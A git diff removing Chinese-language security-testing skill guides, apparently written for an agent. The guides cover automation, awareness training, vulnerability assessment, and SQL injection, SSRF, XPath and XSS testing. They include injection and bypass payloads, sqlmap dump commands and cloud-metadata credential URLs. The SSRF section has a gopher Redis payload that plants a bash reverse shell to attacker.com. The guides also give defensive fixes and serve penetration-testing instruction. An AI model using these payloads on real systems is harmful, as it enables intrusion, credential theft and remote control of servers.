-**Jenkins Pipeline:** -```groovy -pipeline { - agent any - stages { - stage('Security Scan') { - steps { - sh 'npm audit' - sh 'snyk test' - sh 'sonar-scanner' - } - } - stage('Vulnerability Scan') { - steps { - sh 'nmap --script vuln target' - } - } - } - post { - always { - publishHTML([ - reportDir: 'reports', - reportFiles: 'report.html', - reportName: 'Security Report' - ]) - } - } -} -``` - -**GitHub Actions:** -```yaml -name: Security Scan - -on: [push, pull_request] - -jobs: - security-scan: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: Run Snyk - uses: snyk/actions/node@master - env: - SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - - name: Run SonarQube - uses: sonarsource/sonarqube-scan-action@master - env: - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} -``` - -### 安全测试自动化 - -**使用OWASP ZAP:** -```python -from zapv2 import ZAPv2 - -# 启动ZAP -zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080'}) - -# 开始扫描 -zap.urlopen('http://target.com') -zap.spider.scan('http://target.com') -while int(zap.spider.status()) < 100: - time.sleep(1) - -# 主动扫描 -zap.ascan.scan('http://target.com') -while int(zap.ascan.status()) < 100: - time.sleep(1) - -# 获取结果 -alerts = zap.core.alerts() -``` - -**使用Burp Suite:** -```python -from burp import IBurpExtender, IScannerCheck - -class BurpExtender(IBurpExtender, IScannerCheck): - def registerExtenderCallbacks(self, callbacks): - self._callbacks = callbacks - self._helpers = callbacks.getHelpers() - callbacks.setExtensionName("Security Automation") - callbacks.registerScannerCheck(self) - - def doPassiveScan(self, baseRequestResponse): - # 被动扫描逻辑 - return None - - def doActiveScan(self, baseRequestResponse, insertionPoint): - # 主动扫描逻辑 - return None -``` - -### 事件响应自动化 - -**使用Splunk:** -```python -import splunklib.client as client - -# 连接Splunk -service = client.connect( - host='splunk.example.com', - port=8089, - username='admin', - password='password' -) - -# 搜索安全事件 -search_query = 'index=security event_type="malware"' -kwargs = {"earliest_time": "-1h", "latest_time": "now"} -search = service.jobs.create(search_query, **kwargs) - -# 处理结果 -for result in search: - if result['severity'] == 'high': - # 自动响应 - send_alert(result) - isolate_system(result['host']) -``` - -**使用ELK Stack:** -```python -from elasticsearch import Elasticsearch - -# 连接Elasticsearch -es = Elasticsearch(['localhost:9200']) - -# 搜索安全事件 -query = { - "query": { - "match": { - "event_type": "intrusion" - } - } -} - -results = es.search(index="security", body=query) - -# 自动响应 -for hit in results['hits']['hits']: - if hit['_source']['severity'] == 'critical': - # 自动遏制 - block_ip(hit['_source']['src_ip']) - send_alert(hit['_source']) -``` - -## 自动化脚本 - -### 漏洞扫描脚本 - -```python -#!/usr/bin/env python3 -import subprocess -import json -import smtplib -from email.mime.text import MIMEText - -def run_nmap_scan(target): - """运行Nmap扫描""" - result = subprocess.run( - ['nmap', '--script', 'vuln', '-oJ', '-', target], - capture_output=True, - text=True - ) - return json.loads(result.stdout) - -def analyze_results(results): - """分析扫描结果""" - vulnerabilities = [] - for host in results.get('hosts', []): - for port in host.get('ports', []): - for script in port.get('scripts', []): - if script.get('id') == 'vuln': - vulnerabilities.append({ - 'host': host['address'], - 'port': port['portid'], - 'vuln': script.get('output', '') - }) - return vulnerabilities - -def send_report(vulnerabilities): - """发送报告""" - if vulnerabilities: - msg = MIMEText(f"发现 {len(vulnerabilities)} 个漏洞") - msg['Subject'] = '漏洞扫描报告' - msg['From'] = 'security@example.com' - msg['To'] = 'admin@example.com' - - server = smtplib.SMTP('smtp.example.com') - server.send_message(msg) - server.quit() - -if __name__ == '__main__': - target = '192.168.1.0/24' - results = run_nmap_scan(target) - vulnerabilities = analyze_results(results) - send_report(vulnerabilities) -``` - -### 配置检查脚本 - -```python -#!/usr/bin/env python3 -import boto3 -import json - -def check_s3_buckets(): - """检查S3存储桶安全配置""" - s3 = boto3.client('s3') - buckets = s3.list_buckets() - - issues = [] - for bucket in buckets['Buckets']: - # 检查公开访问 - try: - acl = s3.get_bucket_acl(Bucket=bucket['Name']) - for grant in acl.get('Grants', []): - if grant.get('Grantee', {}).get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers': - issues.append({ - 'bucket': bucket['Name'], - 'issue': 'Public access enabled' - }) - except: - pass - - # 检查加密 - try: - encryption = s3.get_bucket_encryption(Bucket=bucket['Name']) - except: - issues.append({ - 'bucket': bucket['Name'], - 'issue': 'Encryption not enabled' - }) - - return issues - -if __name__ == '__main__': - issues = check_s3_buckets() - print(json.dumps(issues, indent=2)) -``` - -## 最佳实践 - -### 1. 自动化策略 - -- 识别可自动化场景 -- 制定自动化计划 -- 逐步实施 -- 持续改进 - -### 2. 工具选择 - -- 评估工具功能 -- 考虑集成性 -- 考虑成本 -- 测试验证 - -### 3. 流程设计 - -- 明确流程步骤 -- 定义触发条件 -- 设置异常处理 -- 记录操作日志 - -### 4. 监控和维护 - -- 监控自动化任务 -- 定期检查结果 -- 更新规则和脚本 -- 优化性能 - -## 注意事项 - -- 确保自动化准确性 -- 设置适当的权限 -- 保护自动化凭证 -- 定期审查自动化规则 \ No newline at end of file diff --git a/skills/security-awareness-training/SKILL.md b/skills/security-awareness-training/SKILL.md deleted file mode 100644 index f02d6d40..00000000 --- a/skills/security-awareness-training/SKILL.md +++ /dev/null @@ -1,285 +0,0 @@ ---- -name: security-awareness-training -description: 安全意识培训的专业技能和方法论 -version: 1.0.0 ---- - -# 安全意识培训 - -## 概述 - -安全意识培训是提高组织整体安全水平的重要措施。本技能提供安全意识培训的方法、内容和最佳实践。 - -## 培训目标 - -### 1. 知识提升 - -**目标:** -- 了解安全威胁 -- 识别安全风险 -- 掌握防护措施 -- 理解安全政策 - -### 2. 行为改变 - -**目标:** -- 养成安全习惯 -- 遵守安全规范 -- 主动报告事件 -- 参与安全活动 - -### 3. 文化建立 - -**目标:** -- 建立安全文化 -- 提高安全意识 -- 促进安全协作 -- 持续改进 - -## 培训内容 - -### 1. 基础安全 - -**内容:** -- 密码安全 -- 账户安全 -- 设备安全 -- 网络安全 - -**密码安全:** -- 使用强密码 -- 密码不重用 -- 启用多因素认证 -- 定期更换密码 - -**账户安全:** -- 保护账户信息 -- 不共享账户 -- 及时注销账户 -- 监控账户活动 - -### 2. 邮件安全 - -**内容:** -- 识别钓鱼邮件 -- 处理可疑邮件 -- 附件安全 -- 链接安全 - -**钓鱼邮件识别:** -- 检查发件人 -- 检查链接 -- 检查附件 -- 检查内容 - -**处理可疑邮件:** -- 不点击链接 -- 不打开附件 -- 报告安全团队 -- 删除邮件 - -### 3. 社交工程 - -**内容:** -- 识别社交工程 -- 防范社交工程 -- 报告可疑行为 - -**常见手段:** -- 假冒身份 -- 紧急情况 -- 权威要求 -- 利益诱惑 - -**防范措施:** -- 验证身份 -- 不轻信 -- 报告可疑 -- 遵守流程 - -### 4. 数据安全 - -**内容:** -- 数据分类 -- 数据保护 -- 数据共享 -- 数据销毁 - -**数据保护:** -- 加密敏感数据 -- 安全存储 -- 安全传输 -- 访问控制 - -**数据共享:** -- 最小化共享 -- 使用安全渠道 -- 验证接收方 -- 记录共享 - -### 5. 物理安全 - -**内容:** -- 设备安全 -- 办公环境 -- 访客管理 -- 应急响应 - -**设备安全:** -- 锁定屏幕 -- 保护设备 -- 安全存储 -- 及时报告丢失 - -## 培训方法 - -### 1. 在线培训 - -**优势:** -- 灵活方便 -- 可重复学习 -- 成本较低 -- 易于跟踪 - -**实施:** -- 使用LMS平台 -- 制作培训内容 -- 设置学习路径 -- 跟踪学习进度 - -### 2. 面对面培训 - -**优势:** -- 互动性强 -- 即时反馈 -- 深度讨论 -- 建立关系 - -**实施:** -- 定期培训 -- 分组讨论 -- 案例分析 -- 实践演练 - -### 3. 模拟演练 - -**优势:** -- 真实场景 -- 实践操作 -- 检验效果 -- 提高能力 - -**实施:** -- 钓鱼邮件演练 -- 社交工程演练 -- 应急响应演练 -- 安全事件演练 - -## 培训计划 - -### 新员工培训 - -**内容:** -- 安全政策 -- 基础安全知识 -- 工具使用 -- 报告流程 - -**时间:** -- 入职时 -- 第一周 -- 持续跟进 - -### 定期培训 - -**内容:** -- 最新威胁 -- 安全更新 -- 案例分析 -- 最佳实践 - -**频率:** -- 季度培训 -- 年度培训 -- 专项培训 - -### 专项培训 - -**内容:** -- 特定角色培训 -- 深度培训 -- 认证培训 - -**对象:** -- 管理员 -- 开发人员 -- 安全人员 -- 管理层 - -## 评估方法 - -### 1. 知识测试 - -**方法:** -- 在线测试 -- 问卷调查 -- 技能评估 - -**指标:** -- 测试分数 -- 通过率 -- 改进情况 - -### 2. 行为观察 - -**方法:** -- 模拟演练 -- 实际观察 -- 事件分析 - -**指标:** -- 演练结果 -- 事件数量 -- 报告数量 - -### 3. 反馈收集 - -**方法:** -- 培训反馈 -- 满意度调查 -- 建议收集 - -**指标:** -- 满意度 -- 改进建议 -- 培训效果 - -## 最佳实践 - -### 1. 内容设计 - -- 针对性强 -- 实用易懂 -- 案例丰富 -- 持续更新 - -### 2. 实施策略 - -- 定期培训 -- 多种形式 -- 互动参与 -- 跟踪效果 - -### 3. 文化建设 - -- 领导支持 -- 全员参与 -- 持续改进 -- 奖励机制 - -## 注意事项 - -- 内容要实用 -- 形式要多样 -- 跟踪要持续 -- 改进要及时 \ No newline at end of file diff --git a/skills/sql-injection-testing/SKILL.md b/skills/sql-injection-testing/SKILL.md deleted file mode 100644 index 91603b41..00000000 --- a/skills/sql-injection-testing/SKILL.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -name: sql-injection-testing -description: SQL注入测试的专业技能和方法论 -version: 1.0.0 ---- - -# SQL注入测试技能 - -## 概述 - -SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。 - -## 测试方法 - -### 1. 参数识别 -- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等 -- 重点关注:id、search、filter、sort等参数 -- 使用Burp Suite或类似工具拦截和修改请求 - -### 2. 基础检测 -- 单引号测试:`'` - 查看是否出现SQL错误 -- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2` -- 时间盲注:`' AND SLEEP(5)--` -- 联合查询:`' UNION SELECT NULL--` - -### 3. 数据库识别 -- MySQL:`' AND @@version LIKE '%mysql%'--` -- PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--` -- MSSQL:`' AND @@version LIKE '%Microsoft%'--` -- Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--` - -### 4. 信息提取 -- 数据库名:`' UNION SELECT database()--` -- 表名:`' UNION SELECT table_name FROM information_schema.tables--` -- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--` -- 数据提取:`' UNION SELECT username,password FROM users--` - -## 工具使用 - -### sqlmap -```bash -# 基础扫描 -sqlmap -u "http://target.com/page?id=1" - -# 指定参数 -sqlmap -u "http://target.com/page" --data="id=1" --method=POST - -# 指定数据库类型 -sqlmap -u "http://target.com/page?id=1" --dbms=mysql - -# 获取数据库列表 -sqlmap -u "http://target.com/page?id=1" --dbs - -# 获取表 -sqlmap -u "http://target.com/page?id=1" -D database_name --tables - -# 获取数据 -sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump -``` - -### 手动测试 -- 使用Burp Suite的Repeater模块 -- 使用浏览器开发者工具 -- 编写Python脚本自动化测试 - -## 绕过技术 - -### WAF绕过 -- 编码绕过:URL编码、Unicode编码、十六进制编码 -- 注释绕过:`/**/`, `--`, `#` -- 大小写混合:`SeLeCt`, `UnIoN` -- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行) - -### 示例 -``` -原始:' UNION SELECT NULL-- -绕过1:'/**/UNION/**/SELECT/**/NULL-- -绕过2:'%55nion%20select%20null-- -绕过3:'/*!UNION*//*!SELECT*/null-- -``` - -## 验证和报告 - -### 验证步骤 -1. 确认可以执行SQL语句 -2. 提取数据库信息验证 -3. 评估影响范围(数据泄露、权限提升等) -4. 记录完整的POC(请求/响应) - -### 报告要点 -- 漏洞位置和参数 -- 影响的数据和系统 -- 完整的利用步骤 -- 修复建议(参数化查询、输入验证等) - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免对生产数据造成破坏 -- 谨慎使用DROP、DELETE等危险操作 -- 记录所有测试步骤以便复现 diff --git a/skills/ssrf-testing/SKILL.md b/skills/ssrf-testing/SKILL.md deleted file mode 100644 index bd1618ba..00000000 --- a/skills/ssrf-testing/SKILL.md +++ /dev/null @@ -1,266 +0,0 @@ ---- -name: ssrf-testing -description: SSRF服务器端请求伪造测试的专业技能和方法论 -version: 1.0.0 ---- - -# SSRF服务器端请求伪造测试 - -## 概述 - -SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。 - -## 漏洞原理 - -应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致: -- 内网资源访问 -- 本地文件读取 -- 端口扫描 -- 绕过防火墙 -- 云服务元数据访问 - -## 测试方法 - -### 1. 识别SSRF输入点 - -**常见功能:** -- URL预览/截图 -- 文件上传(远程URL) -- Webhook回调 -- API代理 -- 数据导入 -- 图片处理 -- PDF生成 - -### 2. 基础检测 - -**测试本地回环:** -``` -http://127.0.0.1 -http://localhost -http://0.0.0.0 -http://[::1] -``` - -**测试内网IP:** -``` -http://192.168.1.1 -http://10.0.0.1 -http://172.16.0.1 -``` - -**测试文件协议:** -``` -file:///etc/passwd -file:///C:/Windows/System32/drivers/etc/hosts -``` - -### 3. 绕过技术 - -**IP地址编码:** -``` -127.0.0.1 → 2130706433 (十进制) -127.0.0.1 → 0x7f000001 (十六进制) -127.0.0.1 → 0177.0.0.1 (八进制) -``` - -**域名解析绕过:** -``` -127.0.0.1.xip.io -127.0.0.1.nip.io -localtest.me -``` - -**URL重定向:** -``` -http://attacker.com/redirect → http://127.0.0.1 -``` - -**协议混淆:** -``` -http://127.0.0.1:80@evil.com -http://evil.com#@127.0.0.1 -``` - -## 利用技术 - -### 内网探测 - -**端口扫描:** -```bash -# 使用Burp Intruder -http://127.0.0.1:22 -http://127.0.0.1:3306 -http://127.0.0.1:6379 -http://127.0.0.1:8080 -http://127.0.0.1:9200 -``` - -**识别服务:** -- 响应时间差异 -- 错误信息 -- HTTP状态码 -- 响应内容 - -### 云服务元数据 - -**AWS EC2:** -``` -http://169.254.169.254/latest/meta-data/ -http://169.254.169.254/latest/meta-data/iam/security-credentials/ -``` - -**Google Cloud:** -``` -http://metadata.google.internal/computeMetadata/v1/ -http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/ -``` - -**Azure:** -``` -http://169.254.169.254/metadata/instance?api-version=2021-02-01 -http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01 -``` - -**阿里云:** -``` -http://100.100.100.200/latest/meta-data/ -http://100.100.100.200/latest/meta-data/ram/security-credentials/ -``` - -### 内网应用攻击 - -**访问管理后台:** -``` -http://127.0.0.1:8080/admin -http://192.168.1.100/phpmyadmin -``` - -**Redis未授权访问:** -``` -http://127.0.0.1:6379 -# 然后发送Redis命令 -``` - -**FastCGI攻击:** -``` -http://127.0.0.1:9000 -# 利用FastCGI协议执行命令 -``` - -## 高级利用 - -### Gopher协议 - -**发送任意协议数据:** -``` -gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a -``` - -**Redis命令执行:** -``` -gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a -``` - -### Dict协议 - -**端口扫描和信息收集:** -``` -dict://127.0.0.1:6379/info -dict://127.0.0.1:3306/status -``` - -### 文件协议 - -**读取本地文件:** -``` -file:///etc/passwd -file:///C:/Windows/System32/drivers/etc/hosts -file:///proc/self/environ -``` - -## 工具使用 - -### SSRFmap - -```bash -# 基础扫描 -python3 ssrfmap.py -r request.txt -p url - -# 端口扫描 -python3 ssrfmap.py -r request.txt -p url -m portscan - -# 云元数据 -python3 ssrfmap.py -r request.txt -p url -m cloud -``` - -### Gopherus - -```bash -# 生成Gopher payload -python gopherus.py --exploit redis -``` - -### Burp Collaborator - -**检测盲SSRF:** -``` -http://burpcollaborator.net -# 观察是否有DNS/HTTP请求 -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认可以控制请求目标 -2. 验证内网资源访问或端口扫描 -3. 评估影响范围(内网渗透、数据泄露等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和输入参数 -- 可访问的内网资源或端口 -- 完整的利用步骤和PoC -- 修复建议(URL白名单、禁用危险协议等) - -## 防护措施 - -### 推荐方案 - -1. **URL白名单** - ```python - ALLOWED_DOMAINS = ['example.com', 'cdn.example.com'] - parsed = urlparse(url) - if parsed.netloc not in ALLOWED_DOMAINS: - raise ValueError("Domain not allowed") - ``` - -2. **禁用危险协议** - - 只允许http/https - - 禁止file://、gopher://、dict://等 - -3. **IP地址过滤** - ```python - import ipaddress - - def is_internal_ip(ip): - return ipaddress.ip_address(ip).is_private or \ - ipaddress.ip_address(ip).is_loopback - ``` - -4. **使用DNS解析验证** - - 解析域名获取IP - - 验证IP是否在内网范围 - -5. **网络隔离** - - 限制服务器出网权限 - - 使用代理服务器 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免对内网系统造成影响 -- 注意不同协议的支持情况 -- 测试时注意请求频率,避免触发防护 \ No newline at end of file diff --git a/skills/vulnerability-assessment/SKILL.md b/skills/vulnerability-assessment/SKILL.md deleted file mode 100644 index 0c425d74..00000000 --- a/skills/vulnerability-assessment/SKILL.md +++ /dev/null @@ -1,305 +0,0 @@ ---- -name: vulnerability-assessment -description: 漏洞评估的专业技能和方法论 -version: 1.0.0 ---- - -# 漏洞评估 - -## 概述 - -漏洞评估是识别和评估系统漏洞的重要环节。本技能提供漏洞评估的方法、工具和最佳实践。 - -## 评估流程 - -### 1. 范围确定 - -**确定范围:** -- 目标系统 -- 网络范围 -- 应用范围 -- 测试深度 - -### 2. 信息收集 - -**收集信息:** -- 系统信息 -- 网络拓扑 -- 服务信息 -- 应用信息 - -### 3. 漏洞扫描 - -**扫描类型:** -- 网络扫描 -- 主机扫描 -- 应用扫描 -- 配置扫描 - -### 4. 漏洞验证 - -**验证方法:** -- 手动验证 -- 工具验证 -- 概念验证 -- 影响评估 - -### 5. 风险评估 - -**评估因素:** -- 漏洞严重性 -- 利用难度 -- 影响范围 -- 业务影响 - -## 扫描工具 - -### 网络扫描 - -**使用Nessus:** -```bash -# 启动Nessus -# 创建扫描任务 -# 配置扫描策略 -# 执行扫描 -# 分析结果 -``` - -**使用OpenVAS:** -```bash -# 启动OpenVAS -gvm-setup - -# 创建扫描任务 -# 执行扫描 -# 分析结果 -``` - -**使用Nmap:** -```bash -# 漏洞扫描 -nmap --script vuln target - -# 特定漏洞 -nmap --script smb-vuln-ms17-010 target -``` - -### 应用扫描 - -**使用Burp Suite:** -```bash -# 配置代理 -# 浏览应用 -# 被动扫描 -# 主动扫描 -# 分析结果 -``` - -**使用OWASP ZAP:** -```bash -# 启动ZAP -zap.sh - -# 快速扫描 -zap-cli quick-scan http://target.com - -# 完整扫描 -zap-cli full-scan http://target.com -``` - -**使用Acunetix:** -```bash -# 启动Acunetix -# 创建扫描任务 -# 配置扫描选项 -# 执行扫描 -# 分析结果 -``` - -### 代码扫描 - -**使用SonarQube:** -```bash -# 运行扫描 -sonar-scanner - -# 分析结果 -# 查看报告 -``` - -**使用Checkmarx:** -```bash -# 使用Web界面 -# 上传代码 -# 执行扫描 -# 分析结果 -``` - -## 漏洞分类 - -### 按严重性 - -**严重(Critical):** -- 远程代码执行 -- SQL注入 -- 认证绕过 -- 敏感数据泄露 - -**高危(High):** -- 权限提升 -- 信息泄露 -- 业务逻辑漏洞 -- 配置错误 - -**中危(Medium):** -- XSS漏洞 -- CSRF漏洞 -- 弱密码 -- 不安全的配置 - -**低危(Low):** -- 信息泄露 -- 配置建议 -- 最佳实践 -- 信息收集 - -### 按类型 - -**注入漏洞:** -- SQL注入 -- 命令注入 -- LDAP注入 -- XPath注入 - -**认证漏洞:** -- 弱密码 -- 会话固定 -- 认证绕过 -- 密码重置 - -**授权漏洞:** -- 权限提升 -- IDOR -- 水平权限 -- 垂直权限 - -**配置错误:** -- 默认配置 -- 错误配置 -- 不安全的存储 -- 敏感信息泄露 - -## 风险评估 - -### CVSS评分 - -**基础指标:** -- 攻击向量(AV) -- 攻击复杂度(AC) -- 所需权限(PR) -- 用户交互(UI) - -**影响指标:** -- 机密性影响(C) -- 完整性影响(I) -- 可用性影响(A) - -**计算CVSS:** -```bash -# 使用CVSS计算器 -# 输入指标 -# 计算分数 -# 确定等级 -``` - -### 业务影响 - -**评估因素:** -- 数据敏感性 -- 系统重要性 -- 业务影响 -- 合规要求 - -**风险矩阵:** -``` - 低影响 中影响 高影响 -高可能性 中 高 严重 -中可能性 低 中 高 -低可能性 低 低 中 -``` - -## 报告编写 - -### 报告结构 - -**执行摘要:** -- 评估概述 -- 关键发现 -- 风险评级 -- 建议措施 - -**详细发现:** -- 漏洞描述 -- 影响分析 -- 利用步骤 -- 修复建议 - -**附录:** -- 扫描配置 -- 工具版本 -- 参考链接 -- 术语表 - -### 报告模板 - -```markdown -# 漏洞评估报告 - -## 执行摘要 -- 评估时间:2024-01-01 -- 评估范围:xxx -- 发现漏洞:xx个 -- 严重漏洞:x个 - -## 漏洞列表 - -### VULN-001: SQL注入 -- 严重性:严重 -- CVSS评分:9.8 -- 描述:... -- 影响:... -- 修复建议:... - -## 总结 -... -``` - -## 最佳实践 - -### 1. 扫描前 - -- 获得授权 -- 确定范围 -- 准备工具 -- 通知相关人员 - -### 2. 扫描中 - -- 系统化扫描 -- 记录操作 -- 验证漏洞 -- 评估影响 - -### 3. 扫描后 - -- 分析结果 -- 编写报告 -- 提供建议 -- 跟踪修复 - -## 注意事项 - -- 获得明确授权 -- 避免对系统造成影响 -- 保护扫描数据 -- 及时报告关键漏洞 \ No newline at end of file diff --git a/skills/xpath-injection-testing/SKILL.md b/skills/xpath-injection-testing/SKILL.md deleted file mode 100644 index e822fd73..00000000 --- a/skills/xpath-injection-testing/SKILL.md +++ /dev/null @@ -1,306 +0,0 @@ ---- -name: xpath-injection-testing -description: XPath注入漏洞测试的专业技能和方法论 -version: 1.0.0 ---- - -# XPath注入漏洞测试 - -## 概述 - -XPath注入是一种类似于SQL注入的漏洞,利用XPath查询语句的构造缺陷,可能导致信息泄露、认证绕过等。本技能提供XPath注入的检测、利用和防护方法。 - -## 漏洞原理 - -应用程序将用户输入直接拼接到XPath查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。 - -**危险代码示例:** -```java -String xpath = "//user[username='" + username + "' and password='" + password + "']"; -XPathExpression expr = xpath.compile(xpath); -NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET); -``` - -## XPath基础 - -### 查询语法 - -**基础查询:** -``` -//user[username='admin'] -//user[@id='1'] -//user[username='admin' and password='pass'] -//user[username='admin' or username='user'] -``` - -### 函数 - -**常用函数:** -- `text()` - 获取文本内容 -- `count()` - 计数 -- `substring()` - 子字符串 -- `string-length()` - 字符串长度 -- `contains()` - 包含检查 - -## 测试方法 - -### 1. 识别XPath输入点 - -**常见功能:** -- 用户登录 -- 数据搜索 -- XML数据查询 -- 配置查询 - -### 2. 基础检测 - -**测试特殊字符:** -``` -' or '1'='1 -' or '1'='1' or ' -' or 1=1 or ' -') or ('1'='1 -``` - -**测试逻辑操作符:** -``` -' or '1'='1 -' and '1'='2 -' or 1=1 or ' -``` - -### 3. 认证绕过 - -**基础绕过:** -``` -用户名: admin' or '1'='1 -密码: anything -查询: //user[username='admin' or '1'='1' and password='anything'] -``` - -**更精确的绕过:** -``` -用户名: admin') or ('1'='1 -查询: //user[username='admin') or ('1'='1' and password='*'] -``` - -### 4. 信息泄露 - -**枚举用户:** -``` -' or 1=1 or ' -' or '1'='1 -') or 1=1 or (' -``` - -**获取节点数量:** -``` -' or count(//user)>0 or ' -``` - -**获取特定节点:** -``` -' or substring(//user[1]/username,1,1)='a' or ' -``` - -## 利用技术 - -### 认证绕过 - -**方法1:逻辑绕过** -``` -输入: admin' or '1'='1 -查询: //user[username='admin' or '1'='1' and password='*'] -结果: 匹配所有用户 -``` - -**方法2:注释绕过** -``` -输入: admin')] | //* | //*[(' -查询: //user[username='admin')] | //* | //*[('' and password='*'] -``` - -**方法3:布尔盲注** -``` -' or substring(//user[1]/username,1,1)='a' or ' -' or substring(//user[1]/username,1,1)='b' or ' -``` - -### 信息泄露 - -**枚举所有用户:** -``` -' or 1=1 or ' -结果: 返回所有用户节点 -``` - -**获取用户名:** -``` -' or substring(//user[1]/username,1,1)='a' or ' -' or substring(//user[1]/username,2,1)='d' or ' -逐步获取每个字符 -``` - -**获取密码:** -``` -' or substring(//user[1]/password,1,1)='p' or ' -逐步获取密码字符 -``` - -### 盲注技术 - -**基于时间的盲注:** -``` -' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or ' -``` - -**基于布尔值的盲注:** -``` -' or substring(//user[1]/username,1,1)='a' or ' -观察响应差异 -``` - -## 绕过技术 - -### 编码绕过 - -**URL编码:** -``` -' or '1'='1 → %27%20or%20%271%27%3D%271 -``` - -**HTML实体编码:** -``` -' → ' -" → " -< → < -> → > -``` - -### 注释绕过 - -**使用注释:** -``` -' or 1=1 or ' -' or '1'='1' or ' -``` - -### 函数绕过 - -**使用不同函数:** -``` -substring(//user[1]/username,1,1) -substring(//user[position()=1]/username,1,1) -//user[1]/username/text()[1] -``` - -## 工具使用 - -### XPath表达式测试 - -**在线工具:** -- XPath Tester -- XMLSpy -- Oxygen XML Editor - -### Burp Suite - -1. 拦截XPath查询请求 -2. 修改查询参数 -3. 观察响应结果 - -### Python脚本 - -```python -from lxml import etree -from lxml.etree import XPath - -# 加载XML文档 -doc = etree.parse('users.xml') - -# 测试注入 -xpath_expr = "//user[username='admin' or '1'='1']" -xpath = XPath(xpath_expr) -results = xpath(doc) -print(results) -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认可以控制XPath查询 -2. 验证认证绕过或信息泄露 -3. 评估影响(未授权访问、数据泄露等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和输入参数 -- XPath查询构造方式 -- 完整的利用步骤和PoC -- 修复建议(输入验证、参数化查询等) - -## 防护措施 - -### 推荐方案 - -1. **输入验证** - ```java - private static final String[] XPATH_ESCAPE_CHARS = - {"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "}; - - public static String escapeXPath(String input) { - if (input == null) { - return null; - } - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < input.length(); i++) { - char c = input.charAt(i); - if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) { - sb.append("\\"); - } - sb.append(c); - } - return sb.toString(); - } - ``` - -2. **参数化查询** - ```java - // 使用XPath变量 - String xpath = "//user[username=$username and password=$password]"; - XPathExpression expr = xpath.compile(xpath); - XPathVariableResolver resolver = new MapVariableResolver( - Map.of("username", escapedUsername, "password", escapedPassword)); - expr.setXPathVariableResolver(resolver); - ``` - -3. **白名单验证** - ```java - // 只允许特定字符 - if (!input.matches("^[a-zA-Z0-9@._-]+$")) { - throw new IllegalArgumentException("Invalid input"); - } - ``` - -4. **使用预编译查询** - ```java - // 预定义查询模板 - private static final String LOGIN_QUERY = - "//user[username=$1 and password=$2]"; - - // 使用参数绑定 - ``` - -5. **最小权限** - - 限制XPath查询范围 - - 使用访问控制 - - 限制可查询的节点 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 注意不同XPath版本的语法差异 -- 测试时避免对XML数据造成影响 -- 了解目标应用的XPath实现 \ No newline at end of file diff --git a/skills/xss-testing/SKILL.md b/skills/xss-testing/SKILL.md deleted file mode 100644 index bf4a340a..00000000 --- a/skills/xss-testing/SKILL.md +++ /dev/null @@ -1,135 +0,0 @@ ---- -name: xss-testing -description: XSS跨站脚本攻击测试的专业技能 -version: 1.0.0 ---- - -# XSS测试技能 - -## 概述 - -跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。 - -## XSS类型 - -### 1. 反射型XSS (Reflected XSS) -- 恶意脚本通过URL参数传递 -- 服务器直接返回包含脚本的响应 -- 需要用户点击恶意链接 - -### 2. 存储型XSS (Stored XSS) -- 恶意脚本存储在服务器(数据库、文件等) -- 所有访问受影响页面的用户都会执行脚本 -- 影响范围更大 - -### 3. DOM型XSS (DOM-based XSS) -- 客户端JavaScript处理用户输入不当 -- 不涉及服务器端处理 -- 通过修改DOM结构触发 - -## 测试方法 - -### 基础Payload -```javascript - - - - -``` - -### 绕过过滤 - -#### 大小写绕过 -```javascript - -``` - -#### 编码绕过 -```javascript -%3Cscript%3Ealert('XSS')%3C/script%3E -<script>alert('XSS')</script> -``` - -#### 事件处理器 -```javascript - -
hover
- -``` - -#### 伪协议 -```javascript -click -